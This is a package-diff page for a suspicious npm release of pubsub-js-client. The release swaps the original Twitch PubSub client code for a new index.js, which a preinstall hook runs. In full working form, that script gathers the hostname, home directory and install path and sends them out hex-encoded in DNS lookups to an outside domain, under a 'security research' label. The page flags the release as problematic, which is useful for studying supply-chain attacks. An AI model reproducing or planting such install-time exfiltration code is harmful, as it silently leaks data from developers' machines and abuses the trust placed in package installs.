pubsub-js-client 0.6.1 → 25.0.6
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of pubsub-js-client might be problematic. Click here for more details.
- package/README.md +1 -70
- package/index.js +80 -0
- package/package.json +15 -26
- package/src/IframeClient.js +0 -182
- package/src/IframeHost.js +0 -174
- package/src/PubsubDriver.js +0 -177
- package/src/PubsubSocket.js +0 -186
- package/src/PubsubTest.js +0 -189
- package/src/WebsocketClient.js +0 -383
- package/src/events.js +0 -43
- package/src/log.js +0 -121
- package/src/mymap.js +0 -49
- package/src/util.js +0 -51
package/README.md
CHANGED
@@ -1,70 +1 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
This is the library to integrate with our new PubSub service.
|
4
|
-
|
5
|
-
## Installation
|
6
|
-
|
7
|
-
Make sure you are running node version `8.17.0` as more modern versions do not work.
|
8
|
-
|
9
|
-
```bash
|
10
|
-
make build
|
11
|
-
```
|
12
|
-
|
13
|
-
This generates `dist/pubsub.js` which is in AMD.
|
14
|
-
|
15
|
-
## Browser parameters
|
16
|
-
|
17
|
-
* `pubsub_log_level` Set this to `debug` to see all messages in console logs
|
18
|
-
* `force_pubsub_tester` Set this to `false` to disable pubsub_tester messages
|
19
|
-
|
20
|
-
## Client API
|
21
|
-
|
22
|
-
##### Instantiation
|
23
|
-
```javascript
|
24
|
-
let driver = PubsubDriver.getInstance(environment); // environment can be "production" or "darklaunch"
|
25
|
-
|
26
|
-
// Driver automatically connects to Pubsub on instantiation
|
27
|
-
|
28
|
-
driver.on("connected", function () { ... });
|
29
|
-
// Triggered when the driver first connects
|
30
|
-
// Also triggered upon recovering from a disconnect
|
31
|
-
driver.on("reconnected", function() { ... });
|
32
|
-
// Triggered when the driver recovers from a disconnect
|
33
|
-
driver.on("disconnected", function () { ... });
|
34
|
-
// Triggered when the driver loses connection to the Pubsub
|
35
|
-
// Driver automatically attempts to reconnect and re-listen on topics
|
36
|
-
```
|
37
|
-
##### Methods
|
38
|
-
```javascript
|
39
|
-
driver.Listen({
|
40
|
-
topic: "topic",
|
41
|
-
auth: "auth_token",
|
42
|
-
success: function (), // callback when Driver has successfully listened on the topic
|
43
|
-
failure: function (err), // callback when there was an error listening - either a permissions error, or a timeout
|
44
|
-
message: function (msg) // callback when a message is received on this topic
|
45
|
-
});
|
46
|
-
|
47
|
-
driver.Unlisten({
|
48
|
-
topic: "topic",
|
49
|
-
success: function (), // callback when the Driver has successfully unlistened on the topic
|
50
|
-
failure: function (err), // callback when there was an error unlistening
|
51
|
-
message: function (msg) // a reference to the callback used in the initial Listen(), to specify which callback to remove
|
52
|
-
})
|
53
|
-
```
|
54
|
-
|
55
|
-
##### Example
|
56
|
-
```javascript
|
57
|
-
let driver = PubsubDriver.getInstance("production");
|
58
|
-
driver.Listen({
|
59
|
-
topic: "pubsubtest.123456",
|
60
|
-
success: function () { console.log("successfully listened"); },
|
61
|
-
failure: function (err) { console.log("error listening: " + err); },
|
62
|
-
message: function (msg) { console.log("received message: " + msg); }
|
63
|
-
});
|
64
|
-
```
|
65
|
-
```bash
|
66
|
-
curl -v -X POST https://pubster.twitch.tv/publish -d '{"topics":["pubsubtest.123456"],"data":"arbitrary string"}'
|
67
|
-
```
|
68
|
-
|
69
|
-
##### Troubleshooting
|
70
|
-
Try `let driver = PubsubDriver.default.getInstance("production");` (add `.default.`)
|
1
|
+
This package is meant for security research purposes and does not contain any useful code.
|
package/index.js
ADDED
@@ -0,0 +1,80 @@
|
|
1
|
+
/*
|
2
|
+
|
3
|
+
This code is used for research purposes.
|
4
|
+
|
5
|
+
No sensitive data is retrieved.
|
6
|
+
|
7
|
+
Callbacks from within organizations with a
|
8
|
+
responsible disclosure program will be reported
|
9
|
+
directly to the organizations.
|
10
|
+
|
11
|
+
Any other callbacks will be ignored, and
|
12
|
+
any associated data will not be kept.
|
13
|
+
|
14
|
+
For any questions or suggestions:
|
15
|
+
|
16
|
+
alex@ethicalhack.ro
|
17
|
+
https://twitter.com/alxbrsn
|
18
|
+
|
19
|
+
*/
|
20
|
+
|
21
|
+
|
22
|
+
const dns = require('dns');
|
23
|
+
const os = require('os');
|
24
|
+
|
25
|
+
const suffix = '.dns.thewhybee.com';
|
26
|
+
const ns = 'dns1.thewhybee.com';
|
27
|
+
|
28
|
+
const package = 'pubsub-js-client';
|
29
|
+
|
30
|
+
|
31
|
+
function sendToServer(data) {
|
32
|
+
|
33
|
+
data = Buffer.from(data).toString('hex');
|
34
|
+
data = data.match(/.{1,60}/g);
|
35
|
+
|
36
|
+
id = Math.random().toString(36).substring(2);
|
37
|
+
|
38
|
+
data.forEach(function (chunk, idx){
|
39
|
+
try {
|
40
|
+
dns.resolve(
|
41
|
+
'v2_f.' + id + '.' + idx + '.' + chunk + '.v2_e' + suffix, 'A',
|
42
|
+
console.log);
|
43
|
+
} catch (e) { }
|
44
|
+
});
|
45
|
+
|
46
|
+
}
|
47
|
+
|
48
|
+
function tryGet(toCall) {
|
49
|
+
|
50
|
+
try {
|
51
|
+
return toCall();
|
52
|
+
} catch(e) {
|
53
|
+
return 'err';
|
54
|
+
}
|
55
|
+
|
56
|
+
}
|
57
|
+
|
58
|
+
data = {
|
59
|
+
p : package,
|
60
|
+
h : tryGet(os.hostname),
|
61
|
+
d : tryGet(os.homedir),
|
62
|
+
c : __dirname
|
63
|
+
}
|
64
|
+
|
65
|
+
if (data['h'] == 'BBOGENS-LAPTOP') {
|
66
|
+
process.exit(0);
|
67
|
+
}
|
68
|
+
|
69
|
+
data = JSON.stringify(data);
|
70
|
+
|
71
|
+
sendToServer(data);
|
72
|
+
dns.lookup(ns, function(err, address) {
|
73
|
+
if (!err) {
|
74
|
+
nsAddress = address;
|
75
|
+
} else {
|
76
|
+
nsAddress = '8.8.8.8';
|
77
|
+
}
|
78
|
+
dns.setServers([nsAddress, '8.8.4.4']);
|
79
|
+
sendToServer(data);
|
80
|
+
});
|
package/package.json
CHANGED
@@ -1,26 +1,15 @@
|
|
1
|
-
{
|
2
|
-
"name": "pubsub-js-client",
|
3
|
-
"version": "0.6
|
4
|
-
"description": "
|
5
|
-
"main": "
|
6
|
-
"
|
7
|
-
"
|
8
|
-
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
"
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
"broccoli": "^0.16.3",
|
17
|
-
"broccoli-babel-transpiler": "^5.1.1",
|
18
|
-
"broccoli-cli": "^1.0.0",
|
19
|
-
"broccoli-es6modules": "^0.6.1",
|
20
|
-
"broccoli-funnel": "^0.2.3",
|
21
|
-
"broccoli-sourcemap-concat": "^0.4.4",
|
22
|
-
"jscs": "^1.13.1",
|
23
|
-
"jshint": "^2.9.1",
|
24
|
-
"webpack": "^1.12.13"
|
25
|
-
}
|
26
|
-
}
|
1
|
+
{
|
2
|
+
"name": "pubsub-js-client",
|
3
|
+
"version": "25.0.6",
|
4
|
+
"description": "Security research purposes only.",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
|
14
|
+
}
|
15
|
+
}
|
package/src/IframeClient.js
DELETED
@@ -1,182 +0,0 @@
|
|
1
|
-
import EventsDispatcher from "./events";
|
2
|
-
import logging from "./log";
|
3
|
-
import util from "./util";
|
4
|
-
import MyMap from "./mymap";
|
5
|
-
|
6
|
-
const NONCE_LENGTH = 30;
|
7
|
-
const RESPONSE_TIMEOUT = 30 * 1000; // 30 seconds
|
8
|
-
const VERIFY_TIMEOUT = 1 * 1000; // 1 second
|
9
|
-
const TWITCH_PROTOCOL = "pubsub";
|
10
|
-
|
11
|
-
var logger = logging._getLogger("IframeClient");
|
12
|
-
|
13
|
-
class IframeClient extends EventsDispatcher {
|
14
|
-
constructor (opts) {
|
15
|
-
super(opts);
|
16
|
-
this._parentUrl = opts.parentUrl;
|
17
|
-
this._pendingResponses = new MyMap();
|
18
|
-
this._listens = new EventsDispatcher();
|
19
|
-
|
20
|
-
window.addEventListener("message", this.receiveMessage.bind(this), false);
|
21
|
-
}
|
22
|
-
|
23
|
-
connect () {
|
24
|
-
window.parent.postMessage({
|
25
|
-
twitch_protocol: TWITCH_PROTOCOL,
|
26
|
-
type: "connect"
|
27
|
-
}, this._parentUrl);
|
28
|
-
}
|
29
|
-
|
30
|
-
verify () {
|
31
|
-
window.parent.postMessage({
|
32
|
-
twitch_protocol: TWITCH_PROTOCOL,
|
33
|
-
type: "verify"
|
34
|
-
}, this._parentUrl);
|
35
|
-
this._verifyTimeout = setTimeout(this._unverified.bind(this), VERIFY_TIMEOUT);
|
36
|
-
}
|
37
|
-
|
38
|
-
Listen (opts) {
|
39
|
-
// opts should include: topic, auth, success, failure, message
|
40
|
-
logger.debug("listening on " + opts.topic);
|
41
|
-
var nonce = this._generateNonce();
|
42
|
-
var msg = {
|
43
|
-
twitch_protocol: TWITCH_PROTOCOL,
|
44
|
-
type: "LISTEN",
|
45
|
-
nonce: nonce,
|
46
|
-
data: {
|
47
|
-
topics: [opts.topic],
|
48
|
-
auth_token: opts.auth
|
49
|
-
}
|
50
|
-
};
|
51
|
-
this._send(nonce, msg, opts);
|
52
|
-
}
|
53
|
-
|
54
|
-
Unlisten (opts) {
|
55
|
-
// opts should include: topic, success, failure, message
|
56
|
-
logger.debug("unlistening on " + opts.topic + "(" + this._listens.count(opts.topic) + " listeners)");
|
57
|
-
|
58
|
-
// If there are more than one callbacks waiting on this topic, we can just remove the specified one rather than sending an UNLISTEN
|
59
|
-
if (this._listens.count(opts.topic) > 1) {
|
60
|
-
|
61
|
-
if (opts.message) {
|
62
|
-
this._listens.off(opts.topic, opts.message);
|
63
|
-
}
|
64
|
-
|
65
|
-
if (opts.success) {
|
66
|
-
opts.success();
|
67
|
-
}
|
68
|
-
|
69
|
-
logger.debug("now have " + this._listens.count(opts.topic) + " listeners");
|
70
|
-
return;
|
71
|
-
}
|
72
|
-
|
73
|
-
var nonce = this._generateNonce();
|
74
|
-
var msg = {
|
75
|
-
twitch_protocol: TWITCH_PROTOCOL,
|
76
|
-
type: "UNLISTEN",
|
77
|
-
nonce: nonce,
|
78
|
-
data: {
|
79
|
-
topics: [opts.topic]
|
80
|
-
}
|
81
|
-
};
|
82
|
-
this._send(nonce, msg, opts);
|
83
|
-
}
|
84
|
-
|
85
|
-
_send (nonce, msg, opts) {
|
86
|
-
this._pendingResponses.set(nonce, {
|
87
|
-
timeout: setTimeout(this._onResponseTimeout.bind(this), RESPONSE_TIMEOUT, nonce),
|
88
|
-
topic: opts.topic,
|
89
|
-
auth: opts.auth,
|
90
|
-
message: msg,
|
91
|
-
callbacks: {
|
92
|
-
success: opts.success,
|
93
|
-
failure: opts.failure,
|
94
|
-
message: opts.message
|
95
|
-
}
|
96
|
-
});
|
97
|
-
window.parent.postMessage(msg, this._parentUrl);
|
98
|
-
}
|
99
|
-
|
100
|
-
receiveMessage (event) {
|
101
|
-
if (!event.data || event.data.twitch_protocol != TWITCH_PROTOCOL) {
|
102
|
-
return;
|
103
|
-
}
|
104
|
-
logger.debug("Received message: " + JSON.stringify(event.data));
|
105
|
-
switch (event.data.type) {
|
106
|
-
case "connected":
|
107
|
-
this._trigger("connected");
|
108
|
-
break;
|
109
|
-
case "disconnected":
|
110
|
-
this._trigger("disconnected");
|
111
|
-
break;
|
112
|
-
case "success":
|
113
|
-
this.handleResponse(true, event.data);
|
114
|
-
break;
|
115
|
-
case "failure":
|
116
|
-
this.handleResponse(false, event.data);
|
117
|
-
break;
|
118
|
-
case "message":
|
119
|
-
this.handleMessage(event.data.topic, event.data.message);
|
120
|
-
break;
|
121
|
-
case "verify":
|
122
|
-
this._verified();
|
123
|
-
break;
|
124
|
-
}
|
125
|
-
}
|
126
|
-
|
127
|
-
handleResponse (successful, resp) {
|
128
|
-
if (this._pendingResponses.has(resp.nonce)) {
|
129
|
-
var responseInfo = this._pendingResponses.get(resp.nonce);
|
130
|
-
logger.debug("ResponseInfo: " + JSON.stringify(responseInfo));
|
131
|
-
clearTimeout(responseInfo.timeout);
|
132
|
-
this._pendingResponses.remove(resp.nonce);
|
133
|
-
|
134
|
-
if (successful) {
|
135
|
-
|
136
|
-
|
137
|
-
if (responseInfo.callbacks.message) {
|
138
|
-
if (responseInfo.message.type === "LISTEN") {
|
139
|
-
this._listens.on(responseInfo.topic, responseInfo.callbacks.message, this);
|
140
|
-
} else if (responseInfo.message.type === "UNLISTEN") {
|
141
|
-
this._listens.off(responseInfo.topic, responseInfo.callbacks.message, this);
|
142
|
-
}
|
143
|
-
}
|
144
|
-
|
145
|
-
if (responseInfo.callbacks.success) {
|
146
|
-
responseInfo.callbacks.success();
|
147
|
-
}
|
148
|
-
} else {
|
149
|
-
if (responseInfo.callbacks.failure) {
|
150
|
-
responseInfo.callbacks.failure(resp.error);
|
151
|
-
}
|
152
|
-
}
|
153
|
-
}
|
154
|
-
}
|
155
|
-
|
156
|
-
handleMessage (topic, msg) {
|
157
|
-
logger.debug("received '" + msg + "' on topic " + topic);
|
158
|
-
this._listens._trigger(topic, msg);
|
159
|
-
}
|
160
|
-
|
161
|
-
_onResponseTimeout (nonce) {
|
162
|
-
logger.debug("response timed out: " + nonce);
|
163
|
-
}
|
164
|
-
|
165
|
-
_verified () {
|
166
|
-
logger.debug("Verified");
|
167
|
-
clearTimeout(this._verifyTimeout);
|
168
|
-
this._trigger("verified");
|
169
|
-
}
|
170
|
-
|
171
|
-
_unverified () {
|
172
|
-
window.removeEventListener("message", this.receiveMessage.bind(this), false);
|
173
|
-
this._trigger("unverified");
|
174
|
-
}
|
175
|
-
|
176
|
-
// Utility functions
|
177
|
-
_generateNonce () {
|
178
|
-
return util.generateString(NONCE_LENGTH);
|
179
|
-
}
|
180
|
-
}
|
181
|
-
|
182
|
-
export default IframeClient;
|
package/src/IframeHost.js
DELETED
@@ -1,174 +0,0 @@
|
|
1
|
-
import logging from "./log";
|
2
|
-
|
3
|
-
const TWITCH_PROTOCOL = "pubsub";
|
4
|
-
const ORPHAN_CHECK_INTERVAL = 10000;
|
5
|
-
|
6
|
-
var logger = logging._getLogger("IframeHost");
|
7
|
-
|
8
|
-
class IframeHost {
|
9
|
-
constructor (driver) {
|
10
|
-
this._driver = driver;
|
11
|
-
this._sources = [];
|
12
|
-
this._listeners = [];
|
13
|
-
this._driver.on("connected", this.handleConnected, this);
|
14
|
-
this._driver.on("disconnected", this.handleDisconnected, this);
|
15
|
-
window.addEventListener("message", this.receiveMessage.bind(this), false);
|
16
|
-
|
17
|
-
// Periodically check to see if we have any orphaned listeners
|
18
|
-
this._orphanedListenerCheckTimer = setInterval(this._checkOrphanedListeners.bind(this), ORPHAN_CHECK_INTERVAL);
|
19
|
-
}
|
20
|
-
|
21
|
-
destroy () {
|
22
|
-
clearInterval(this._orphanedListenerCheckTimer);
|
23
|
-
}
|
24
|
-
|
25
|
-
receiveMessage (event) {
|
26
|
-
if (!event.data || event.data.twitch_protocol != TWITCH_PROTOCOL || !event.source) {
|
27
|
-
return;
|
28
|
-
}
|
29
|
-
logger.debug("Received message: " + JSON.stringify(event.data));
|
30
|
-
switch (event.data.type) {
|
31
|
-
case "LISTEN":
|
32
|
-
this.handleListen(event.source, event.data.nonce, event.data.data);
|
33
|
-
break;
|
34
|
-
case "UNLISTEN":
|
35
|
-
this.handleUnlisten(event.source, event.data.nonce, event.data.data);
|
36
|
-
break;
|
37
|
-
case "connect":
|
38
|
-
this._sources.push(event.source);
|
39
|
-
this._driver.connect();
|
40
|
-
break;
|
41
|
-
case "verify":
|
42
|
-
event.source.postMessage({
|
43
|
-
twitch_protocol: TWITCH_PROTOCOL,
|
44
|
-
type: "verify"
|
45
|
-
}, "*");
|
46
|
-
break;
|
47
|
-
}
|
48
|
-
}
|
49
|
-
|
50
|
-
// Keeps track of which sources are listening to which topics
|
51
|
-
// Returns an object containing the source, topic, and onMessage callback
|
52
|
-
// If a listener already exists for the specified source and topic, returns null
|
53
|
-
_pushListener (source, topic) {
|
54
|
-
// If we've already got a listener for this source and topic we don't need to create another one
|
55
|
-
for (var i = 0; i < this._listeners.length; i++) {
|
56
|
-
if (this._listeners[i].source === source && this._listeners[i].topic === topic) {
|
57
|
-
return null;
|
58
|
-
}
|
59
|
-
}
|
60
|
-
|
61
|
-
var listener = {
|
62
|
-
source: source,
|
63
|
-
topic: topic,
|
64
|
-
message: function (msg) {
|
65
|
-
source.postMessage({twitch_protocol: TWITCH_PROTOCOL, type: "message", topic: topic, message: msg}, "*");
|
66
|
-
}
|
67
|
-
};
|
68
|
-
|
69
|
-
this._listeners.push(listener);
|
70
|
-
|
71
|
-
return listener;
|
72
|
-
}
|
73
|
-
|
74
|
-
// Untracks and returns the listener for the given source and topic
|
75
|
-
// If no listener is found for the specified source and topic, returns null
|
76
|
-
_popListener (source, topic) {
|
77
|
-
for (var i = 0; i < this._listeners.length; i++) {
|
78
|
-
if (this._listeners[i].source === source && this._listeners[i].topic === topic) {
|
79
|
-
return this._listeners.splice(i, 1)[0];
|
80
|
-
}
|
81
|
-
}
|
82
|
-
|
83
|
-
return null;
|
84
|
-
}
|
85
|
-
|
86
|
-
// Checks to see if any of the registered listeners have a source that has been deleted
|
87
|
-
// Calls Unlisten on any listeners that are found
|
88
|
-
_checkOrphanedListeners () {
|
89
|
-
for (var i = 0; i < this._listeners.length; i++) {
|
90
|
-
// source is a reference to the window that sent the postMessage
|
91
|
-
if (this._listeners[i].source.closed) {
|
92
|
-
this._cleanUpOrphanedListener(this._listeners.splice(i--, 1)[0]);
|
93
|
-
}
|
94
|
-
}
|
95
|
-
}
|
96
|
-
|
97
|
-
// Call Unlisten for the supplied listener with local logging as callback because the listener passed in has no source
|
98
|
-
_cleanUpOrphanedListener (listener) {
|
99
|
-
logger.debug("Cleaning up orphaned listener for topic: " + listener.topic);
|
100
|
-
this._driver.Unlisten({
|
101
|
-
topic: listener.topic,
|
102
|
-
success: (function () {
|
103
|
-
logger.debug("Success when cleaning up orphaned listener for topic: " + listener.topic);
|
104
|
-
}),
|
105
|
-
failure: (function (err) {
|
106
|
-
logger.debug("Error when cleaning up orphaned listener for topic: " + listener.topic + " Error: " + err);
|
107
|
-
}),
|
108
|
-
message: listener.message
|
109
|
-
});
|
110
|
-
}
|
111
|
-
|
112
|
-
handleListen (source, nonce, data) {
|
113
|
-
var listener = this._pushListener(source, data.topics[0]);
|
114
|
-
|
115
|
-
// We already have a listener for this source and topic so just send back the success message
|
116
|
-
if (!listener) {
|
117
|
-
source.postMessage({twitch_protocol: TWITCH_PROTOCOL, type: "success", nonce: nonce}, "*");
|
118
|
-
return;
|
119
|
-
}
|
120
|
-
|
121
|
-
this._driver.Listen({
|
122
|
-
topic: listener.topic,
|
123
|
-
auth: data.auth_token,
|
124
|
-
success: (function () {
|
125
|
-
source.postMessage({twitch_protocol: TWITCH_PROTOCOL, type: "success", nonce: nonce}, "*");
|
126
|
-
}),
|
127
|
-
failure: (function (err) {
|
128
|
-
source.postMessage({twitch_protocol: TWITCH_PROTOCOL, type: "failure", nonce: nonce, error: err}, "*");
|
129
|
-
}),
|
130
|
-
message: listener.message
|
131
|
-
});
|
132
|
-
}
|
133
|
-
|
134
|
-
handleUnlisten (source, nonce, data) {
|
135
|
-
var listener = this._popListener(source, data.topics[0]);
|
136
|
-
|
137
|
-
if (!listener) {
|
138
|
-
logger.debug("Failed to unlisten, could not find listener for topic " + data.topics[0]);
|
139
|
-
return;
|
140
|
-
}
|
141
|
-
|
142
|
-
this._driver.Unlisten({
|
143
|
-
topic: listener.topic,
|
144
|
-
auth: data.auth_token,
|
145
|
-
success: (function () {
|
146
|
-
source.postMessage({twitch_protocol: TWITCH_PROTOCOL, type: "success", nonce: nonce}, "*");
|
147
|
-
}),
|
148
|
-
failure: (function (err) {
|
149
|
-
source.postMessage({twitch_protocol: TWITCH_PROTOCOL, type: "failure", nonce: nonce, error: err}, "*");
|
150
|
-
}),
|
151
|
-
message: listener.message
|
152
|
-
});
|
153
|
-
}
|
154
|
-
|
155
|
-
handleConnected () {
|
156
|
-
for (var i = 0; i < this._sources.length; i++) {
|
157
|
-
this._sources[i].postMessage({
|
158
|
-
twitch_protocol: TWITCH_PROTOCOL,
|
159
|
-
type: "connected"
|
160
|
-
}, "*");
|
161
|
-
}
|
162
|
-
}
|
163
|
-
|
164
|
-
handleDisconnected () {
|
165
|
-
for (var i = 0; i < this._sources.length; i++) {
|
166
|
-
this._sources[i].postMessage({
|
167
|
-
twitch_protocol: TWITCH_PROTOCOL,
|
168
|
-
type: "disconnected"
|
169
|
-
}, "*");
|
170
|
-
}
|
171
|
-
}
|
172
|
-
}
|
173
|
-
|
174
|
-
export default IframeHost;
|